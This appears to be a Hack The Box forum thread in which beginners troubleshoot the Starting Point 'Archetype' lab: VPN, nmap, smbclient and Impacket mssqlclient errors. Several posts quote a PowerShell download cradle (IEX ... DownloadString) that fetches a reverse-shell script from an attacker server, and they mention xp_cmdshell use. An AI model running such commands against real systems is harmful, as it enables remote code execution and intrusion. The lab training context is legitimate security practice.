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Type your comment> @sabukabu said:

I’m stuck around the same area.

I have made a file called shell.ps1 with the code verbatim of the example inside.

I start up my web server, get netcat listening and get the ufw callbacks but i get an error when I try to run:

I think because the example is using IP 10.10.14.3 and i didnt change to be my IP but honestly im just copy/pasting at this point so dunno…

help?

Hey, I’m stuck here too. Have you figured what the problem was?
This is my output.

Exception calling “DownloadString” with “1” argument(s): “Unable to connect to the remote server”

At line:1 char:1

  • IEX (New-Object Net.WebClient).DownloadString("http://10.0.2.15/shell …

  • 
  + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException      

  + FullyQualifiedErrorId : WebException
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Have you guys tried killing all OpenVPN before starting your VPN .

I have an issue where I had two VPN open. Perhaps one did not close correctly and it caused a lot of issues. Now before I reconnect I ensure the previous one has been killed.
Sudo kill all openvpn

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i got passed enumeration. I had to install something in order for it to work, though I thought that it was already installed. Now I’m stuck in the foothold trying to figure out where am I suppose to save the syntax.

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@nofear said:
Type your comment> @skillless said:

Are the instructions to Starting Point accurate or do we have to figure something out? Im stuck on the enumeration part, at the end trying to open the dtsConfig file. The password that is shown is not working. Am I supposed to be lookin for another way in? Because I can’t find one, yet.

the password is right. i pass this tutorial today. try to change \ with / for mssql command. otherway command is executed with incorrect user (Guest i think)

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i got passed enumeration. I had to install something in order for it to work, though I thought that it was already installed. Now I’m stuck in the foothold trying to figure out where am I suppose to save the syntax.

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Type your comment> @McL0vin said:

jesus holly molly seriously i am going crazy with this box.
used openvpn to connect.connection is up and running.tried both EU and USA.restarted VM restarted router etc etc.
SNo matter what i tried,i am still getting error when trying to execute command :
smbclient -N -L \\10.10.10.27\
error below:
do_connect: Connection to 10.10.10.27 failed (Error NT_STATUS_IO_TIMEOUT)

Captured some packets on my tun0 interface.seems like my VM is sending packets with Syn flag but not SYN ACK coming back from the remote server.

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
16:03:07.401797 IP 10.10.14.170.36742 > 10.10.10.27.microsoft-ds: Flags [S], seq 1137421174, win 64240, options [mss 1460,sackOK,TS val 3059908513 ecr 0,nop,wscale 7], length 0
16:03:07.407649 IP 10.10.14.170.43430 > 10.10.10.27.netbios-ssn: Flags [S], seq 1399377996, win 64240, options [mss 1460,sackOK,TS val 3059908519 ecr 0,nop,wscale 7], length 0
16:03:08.411672 IP 10.10.14.170.43430 > 10.10.10.27.netbios-ssn: Flags [S], seq 1399377996, win 64240, options [mss 1460,sackOK,TS val 3059909523 ecr 0,nop,wscale 7], length 0
16:03:08.411682 IP 10.10.14.170.36742 > 10.10.10.27.microsoft-ds: Flags [S], seq 1137421174, win 64240, options [mss 1460,sackOK,TS val 3059909523 ecr 0,nop,wscale 7], length 0
16:03:10.434137 IP 10.10.14.170.36742 > 10.10.10.27.microsoft-ds: Flags [S], seq 1137421174, win 64240, options [mss 1460,sackOK,TS val 3059911545 ecr 0,nop,wscale 7], length 0
16:03:10.434147 IP 10.10.14.170.43430 > 10.10.10.27.netbios-ssn: Flags [S], seq 1399377996, win 64240, options [mss 1460,sackOK,TS val 3059911545 ecr 0,nop,wscale 7], length 0
16:03:15.907590 IP6 fe80::9b10:7b8d:24fb:7767 > ip6-allrouters: ICMP6, router solicitation, length 8
16:04:23.482962 IP6 fe80::9b10:7b8d:24fb:7767 > ip6-allrouters: ICMP6, router solicitation, length 8

Does anhybody know wtf is going on? Is the box unstable or am i missing something?Anybody facing the same issue?
Thanks

same happens to me!
Please help!

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looks like your missing some backslashes

you have two there, i think there should be four
\\

so
smbclient -N -L \\10.10.10.27\
not
smbclient -N -L \10.10.10.27\

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anybody faced the below issue while running Impacket’s “mssqlclient.py” script?
"Missing required parameter ‘digestmod’

kali@kali:~impacket/examples$ python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[-] Missing required parameter ‘digestmod’.

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I am having issues running the python3 impacket commands. I downloaded the git as per the intruction and i go to the containing folder and it tell me that the command cannot be found .

bash: mssqlclient: command not found
root@kali:/home/zatoichi/Downloads/impacket/examples# mssqlclient ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
bash: mssqlclient: command not found
root@kali:/home/zatoichi/Downloads/impacket/examples# mssqlserver ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
bash: mssqlserver: command not found
root@kali:/home/zatoichi/Downloads/impacket/examples# mssqlserver.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
bash: mssqlserver.py: command not found
root@kali:/home/zatoichi/Downloads/impacket/examples#

i dont know what is the issue iam running a kali linux intallation with kde desktop

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its been hours and i am stuck at this error plz help i tried both the slashes forward and backword with ARCHETYPE butstill the same result i removed python tried python3 in the command but same result with some more errors

root@kali:~/impacket/examples# python mssqlclient.py ARCHETYPE\sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.22.dev1+20200416.91838.62162e0a - Copyright 2020 SecureAuth Corporation

Password:
Traceback (most recent call last):
File “mssqlclient.py”, line 173, in
ms_sql.connect()
File “/usr/local/lib/python2.7/dist-packages/impacket-0.9.22.dev1+20200416.91838.62162e0a-py2.7.egg/impacket/tds.py”, line 532, in connect
sock.connect(sa)
File “/usr/lib/python2.7/socket.py”, line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 113] No route to host

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Type your comment> @zatoichi79 said:

I am having issues running the python3 impacket commands. I downloaded the git as per the intruction and i go to the containing folder and it tell me that the command cannot be found .

bash: mssqlclient: command not found
root@kali:/home/zatoichi/Downloads/impacket/examples# mssqlclient ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
bash: mssqlclient: command not found
root@kali:/home/zatoichi/Downloads/impacket/examples# mssqlserver ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
bash: mssqlserver: command not found
root@kali:/home/zatoichi/Downloads/impacket/examples# mssqlserver.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
bash: mssqlserver.py: command not found
root@kali:/home/zatoichi/Downloads/impacket/examples#

i dont know what is the issue iam running a kali linux intallation with kde desktop

Try sudo python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

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@deathstalker01 said:
its been hours and i am stuck at this error plz help i tried both the slashes forward and backword with ARCHETYPE butstill the same result i removed python tried python3 in the command but same result with some more errors

root@kali:~/impacket/examples# python mssqlclient.py ARCHETYPE\sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.22.dev1+20200416.91838.62162e0a - Copyright 2020 SecureAuth Corporation

Password:
Traceback (most recent call last):
File “mssqlclient.py”, line 173, in
ms_sql.connect()
File “/usr/local/lib/python2.7/dist-packages/impacket-0.9.22.dev1+20200416.91838.62162e0a-py2.7.egg/impacket/tds.py”, line 532, in connect
sock.connect(sa)
File “/usr/lib/python2.7/socket.py”, line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 113] No route to host

“No route to host”
There could be a problem with your VPN connection or a temporary issue on the remote server( firewall issue maybe or router issue?)
Try resetting your Openvpn connection,try also EU server openvpn connection ( if you are using the USA) or USA opevpn ( if you are using the EU one)
Also you could try as first step in tshooting to just ping the remote host to see kif there is basic connectivity

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hi, i am new in hack the box .

After running nmap, i get the following error.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-31 13:09 EDT
Error #487: Your port specifications are illegal. Example of proper form: “-100,200-1024,T:3000-4000,U:60000-”
QUITTING!

please give me any solution.

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Type your comment> @McL0vin said:

@deathstalker01 said:
its been hours and i am stuck at this error plz help i tried both the slashes forward and backword with ARCHETYPE butstill the same result i removed python tried python3 in the command but same result with some more errors

root@kali:~/impacket/examples# python mssqlclient.py ARCHETYPE\sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.22.dev1+20200416.91838.62162e0a - Copyright 2020 SecureAuth Corporation

Password:
Traceback (most recent call last):
File “mssqlclient.py”, line 173, in
ms_sql.connect()
File “/usr/local/lib/python2.7/dist-packages/impacket-0.9.22.dev1+20200416.91838.62162e0a-py2.7.egg/impacket/tds.py”, line 532, in connect
sock.connect(sa)
File “/usr/lib/python2.7/socket.py”, line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 113] No route to host

“No route to host”
There could be a problem with your VPN connection or a temporary issue on the remote server( firewall issue maybe or router issue?)
Try resetting your Openvpn connection,try also EU server openvpn connection ( if you are using the USA) or USA opevpn ( if you are using the EU one)
Also you could try as first step in tshooting to just ping the remote host to see kif there is basic connectivity

i tried connecting to different vpn my ifconfig command shows the tun0 interface hackthebox access shows I’m connected and in the cli it show initialization complete …i think i am connected properly the issue is something else maybe with impacket i really dont know and o still cant find any solution
i tried ping on the target 10.10.10.27 - it says host unreachable
but when i try ping on some other htb active machine it works

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Type your comment> @Swas231 said:

hi, i am new in hack the box .

After running nmap, i get the following error.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-31 13:09 EDT
Error #487: Your port specifications are illegal. Example of proper form: “-100,200-1024,T:3000-4000,U:60000-”
QUITTING!

please give me any solution.

Hey man, I would suggest writing your own Nmap command. Write a command that basically scans services on all ports. Dm if you need a nudge

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Rooted! After dabbling with 1/2 boxes for months, Starting Point has been amazing for beginners like myself. Too good!

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Type your comment> @Sharvantg said:

Type your comment> @sabukabu said:

I’m stuck around the same area.

I have made a file called shell.ps1 with the code verbatim of the example inside.

I start up my web server, get netcat listening and get the ufw callbacks but i get an error when I try to run:

I think because the example is using IP 10.10.14.3 and i didnt change to be my IP but honestly im just copy/pasting at this point so dunno…

help?

Hey, I’m stuck here too. Have you figured what the problem was?
This is my output.

Exception calling “DownloadString” with “1” argument(s): “Unable to connect to the remote server”

At line:1 char:1

  • IEX (New-Object Net.WebClient).DownloadString("http://10.0.2.15/shell …

  • 
  + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException      

  + FullyQualifiedErrorId : WebException

I was stuck here also. I determined that you need to:

  1. Determine what the ipaddr (inet addr) is for tun0.
  2. Use that ip to replace 10.10.14.3 in both shell.ps1 and the example xpcmdshell script.
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Those who can’t ping 10.10.10.27 or/and get Error #487: Your port specifications are illegal. Example of proper form: “-100,200-1024,T:3000-4000,U:60000-” you should first make sure that your vpn connection pack is from the starting point section Login :: Hack The Box :: Penetration Testing Labs. If connection pack is taken from Access section it WILL NOT work. Once you get the VPN for starting point up and running you should be able to ping and get a ports list

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Can anyone help what vm network configuration i should run on, the nmap on ip works just fine on host ubuntu but doesnt in vm kali. Hence i dont get any values to fill in variable PORTS